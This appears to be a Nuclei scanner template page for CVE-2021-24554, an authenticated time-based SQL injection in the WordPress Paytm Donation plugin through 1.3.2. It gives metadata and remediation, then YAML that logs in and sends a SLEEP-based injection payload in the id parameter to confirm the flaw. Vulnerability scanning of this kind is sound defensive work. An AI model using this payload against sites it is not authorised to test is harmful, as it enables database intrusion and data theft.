CVE-2021-24554: WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection
- Template: CVE-2021-24554
- Name: WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection
- Description: WordPress Paytm Donation plugin through 1.3.2 is susceptible to authenticated SQL injection. The plugin does not sanitize, validate, or escape the id GET parameter before using it in a SQL statement when deleting donations. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
- Impact: Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
- Remediation: Update to the latest version of the WordPress Paytm Donation plugin (version > 1.3.2) to mitigate the vulnerability.
- Severity: high
- Authors: theamanrawat
- Tags: time-based-sqli, cve, cve2021, sqli, wordpress, wp-plugin, wp, wp-paytm-pay, wpscan, freelancetoindia, vuln
- References: https://wpscan.com/vulnerability/f2842ac8-76fa-4490-aa0c-5f2b07ecf2ad, https://wordpress.org/plugins/wp-paytm-pay/, https://codevigilant.com/disclosure/2021/wp-plugin-wp-paytm-pay/, https://nvd.nist.gov/vuln/detail/CVE-2021-24554, https://github.com/ARPSyndicate/cvemon
- Cves: CVE-2021-24554
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-24554.yaml
- Digest: 4a0a00473045022100b84859cda2dd26db4e4063361fdf219cd89c8a8ad4de939e009700d69c700fbc0220740f2717cf902ebeb0ffc026aa546a7d5ffc984340d6ef540d3b9251b89c8931
- Created at: 2023-03-05T14:02:13Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1360
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24554.yaml
Classification
- Cwe: CWE-89
- Cvss score: 7.2
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.06621
- Epss percentile: 0.94023
- Cpe: cpe:2.3:a:freelancetoindia:paytm-pay:*:*:*:*:*:wordpress:*:*
Metadata
- Framework: wordpress
- Max-request: 2
- Product: paytm-pay
- Vendor: freelancetoindia
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| freelancetoindia:paytm-pay | yes | /v1/products/freelancetoindia/paytm-pay |
Labels
- Name: WordPress Paytm Donation - SQL Injection
- Impact: Attackers can access sensitive information, modify data, or execute unauthorized admin operations on the affected site.
- Remediation: Update to the latest version of the plugin where the vulnerability is fixed.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure, data_tampering, privilege_escalation
- Requirement type: logged_in
- Requirements: Attacker needs to be authenticated
- Labels source: projectdiscovery
- From cve: CVE-2021-24554
```yaml
id: CVE-2021-24554
info:
name: WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection
author: theamanrawat
severity: high
description: |
WordPress Paytm Donation plugin through 1.3.2 is susceptible to authenticated SQL injection. The plugin does not sanitize, validate, or escape the id GET parameter before using it in a SQL statement when deleting donations. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
remediation: |
Update to the latest version of the WordPress Paytm Donation plugin (version > 1.3.2) to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/f2842ac8-76fa-4490-aa0c-5f2b07ecf2ad
- https://wordpress.org/plugins/wp-paytm-pay/
- https://codevigilant.com/disclosure/2021/wp-plugin-wp-paytm-pay/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24554
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2021-24554
cwe-id: CWE-89
epss-score: 0.06621
epss-percentile: 0.94023
cpe: cpe:2.3:a:freelancetoindia:paytm-pay:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: freelancetoindia
product: paytm-pay
framework: wordpress
tags: time-based-sqli,cve,cve2021,sqli,wordpress,wp-plugin,wp,wp-paytm-pay,wpscan,freelancetoindia,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout: 10s
GET /wp-admin/admin.php?page=wp_paytm_donation&action=delete&id=0%20AND%20(SELECT%205581%20FROM%20(SELECT(SLEEP(6)))Pjwy) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration_2>=6'
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "paytm-settings_page_wp_paytm_donation")'
condition: and
digest: 4a0a00473045022100b84859cda2dd26db4e4063361fdf219cd89c8a8ad4de939e009700d69c700fbc0220740f2717cf902ebeb0ffc026aa546a7d5ffc984340d6ef540d3b9251b89c8931:922c64590222798bb761d5b6d8e72950
```